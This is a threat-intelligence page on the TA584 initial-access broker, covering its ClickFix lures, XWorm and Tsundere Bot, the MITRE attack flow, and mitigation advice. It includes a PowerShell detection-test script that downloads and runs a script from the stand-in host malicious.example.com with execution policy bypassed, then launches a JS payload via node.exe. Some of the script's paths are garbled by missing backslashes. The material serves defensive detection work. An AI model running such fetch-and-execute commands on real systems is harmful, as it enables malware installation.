SOC Prime Bias: High

30 Jan 2026 20:23

TA584 innovates initial access

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
TA584 innovates initial access
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

TA584 is a prolific cybercriminal initial-access broker known for rapidly rotating infrastructure, diverse email lure themes, and heavy use of ClickFix-style social engineering. Recent activity shows the actor delivering commodity malware like XWorm alongside a newly observed implant dubbed Tsundere Bot. The combination of fast-changing delivery paths and flexible payload selection makes TA584 campaigns difficult to block with static indicators alone.

Investigation

Proofpoint analyzed 2025 campaigns and documented a move away from macro-enabled Excel attachments toward ClickFix landing pages that induce victims to run PowerShell. Those scripts then retrieve and execute downstream payloads. The report highlights TA584’s use of AWS S3, 404 TDS, and compromised domains to obscure payload hosting and dynamically redirect to final malware locations.

Mitigation

Prioritize controls that reduce script-based execution: restrict PowerShell, and apply application control to prevent node.exe from running in user-writable directories. Monitor for suspicious Ethereum RPC usage and inspect WebSocket traffic patterns that align with C2 behavior, especially when initiated by unexpected processes or from non-standard network paths.

Response

If detected, isolate the endpoint, stop PowerShell or node.exe processes launched from non-system locations, and block the identified C2 domains/IPs. Preserve and collect the full PowerShell command line, script artifacts, and relevant registry data to support scoping and eradication.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffdd99 classDef malware fill:#ff9999 classDef persistence fill:#ccffcc classDef c2 fill:#ccccff classDef cleanup fill:#dddddd classDef operator fill:#ff9900 %% Node definitions action_phishing["<b>Action</b> – <b>T1566 Phishing</b><br/><b>Description</b>: Send spearphishing emails with malicious URLs impersonating trusted brands."] class action_phishing action action_valid_accounts["<b>Action</b> – <b>T1078 Valid Accounts</b><br/><b>Description</b>: Use compromised email and ESP credentials to send phishing messages."] class action_valid_accounts action action_user_execution["<b>Action</b> – <b>T1204.004 User Execution</b><br/><b>Description</b>: Victim copies and pastes PowerShell command from ClickFix page."] class action_user_execution action tool_powershell["<b>Tool</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Executes remote script, disables AMSI and downloads additional stages."] class tool_powershell tool tool_regsvcs["<b>Tool</b> – <b>T1218.009 RegSvcs</b><br/><b>Description</b>: Launched in suspended mode to act as proxy for execution."] class tool_regsvcs tool process_hollowing["<b>Process</b> – <b>T1055.012 Process Hollowing</b><br/><b>Description</b>: Inject XWorm payload into RegSvcs process."] class process_hollowing process malware_xworm["<b>Malware</b> – <b>XWorm</b><br/><b>Description</b>: Payload delivered after injection, provides further capabilities."] class malware_xworm malware op_and1(("AND")) class op_and1 operator persistence_run["<b>Persistence</b> – <b>T1547.001 Registry Run Keys</b><br/><b>Description</b>: Hidden Run key with null byte created for autostart."] class persistence_run persistence persistence_active["<b>Persistence</b> – <b>T1547.014 Active Setup</b><br/><b>Description</b>: Registry modifications ensure execution on user logon."] class persistence_active persistence tool_mshta["<b>Tool</b> – <b>T1218.005 Mshta</b><br/><b>Description</b>: Executes VBScript that launches hidden PowerShell."] class tool_mshta tool c2_websocket["<b>C2</b> – <b>T1102 Web Service</b><br/><b>Description</b>: Establishes WebSocket connections to command and control servers."] class c2_websocket c2 c2_webprotocol["<b>C2</b> – <b>T1071.001 Application Layer Protocol</b><br/><b>Description</b>: Uses standard web protocols to blend with normal traffic."] class c2_webprotocol c2 cleanup_remove["<b>Cleanup</b> – <b>T1070.009 Indicator Removal</b><br/><b>Description</b>: Removes hidden Run key after foothold is stable."] class cleanup_remove cleanup %% Connections action_phishing –>|uses| action_valid_accounts action_valid_accounts –>|delivers| action_user_execution action_user_execution –>|triggers| tool_powershell tool_powershell –>|launches| tool_regsvcs tool_regsvcs –>|enables| process_hollowing process_hollowing –>|injects| malware_xworm malware_xworm –>|creates| op_and1 op_and1 –>|run key| persistence_run op_and1 –>|active setup| persistence_active persistence_run –>|uses| tool_mshta persistence_active –>|uses| tool_mshta tool_mshta –>|connects to| c2_websocket c2_websocket –>|communicates via| c2_webprotocol persistence_run –>|cleans up| cleanup_remove "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An adversary obtains a short URL (e.g., http://malicious.example.com/i) that resolves to a PowerShell script hosted on a compromised server. The script performs the following steps:

    1. Downloads the Tsundere Bot installer script (install.ps1).
    2. Installs the latest Node.js runtime silently.
    3. Clones the malicious JavaScript payload from a Git repository.
    4. Executes the payload via node.exe.

    Because the rule watches for any creation of powershell.exe or node.exe, this chain will generate two distinct process‑creation events that satisfy the detection condition.

  • Regression Test Script:

    # -------------------------------------------------
    # Tsundere Bot Installation Simulation – PowerShell
    # -------------------------------------------------
    # Step 1: Download and invoke the remote installer script
    $installerUrl = "http://malicious.example.com/install.ps1"
    $tempScript = "$env:TEMPinstall.ps1"
    
    # Download the installer script (simulated)
    Invoke-WebRequest -Uri $installerUrl -OutFile $tempScript -UseBasicParsing
    
    # Step 2: Execute the installer script – this spawns powershell.exe
    Write-Host "[*] Executing remote installer..."
    powershell -NoProfile -ExecutionPolicy Bypass -File $tempScript
    
    # Step 3: The installer (simulated here) installs Node.js silently
    # For the purpose of the test we directly invoke node.exe
    $nodePath = "C:Program Filesnodejsnode.exe"
    $payloadPath = "$env:TEMPtsundere_bot.js"
    
    # Simulate a downloaded JS payload
    Set-Content -Path $payloadPath -Value 'console.log("Tsundere Bot running");'
    
    # Step 4: Run the malicious JS payload – this spawns node.exe
    Write-Host "[*] Running malicious JavaScript payload..."
    & "$nodePath" "$payloadPath"
    # -------------------------------------------------
  • Cleanup Commands:

    # Remove temporary files
    Remove-Item -Path "$env:TEMPinstall.ps1" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtsundere_bot.js" -Force -ErrorAction SilentlyContinue
    
    # Optionally uninstall Node.js (if installed by the test)
    # Uninstall‑Program -Name "Node.js"   # Placeholder for actual uninstaller
    
    Write-Host "[*] Cleanup complete."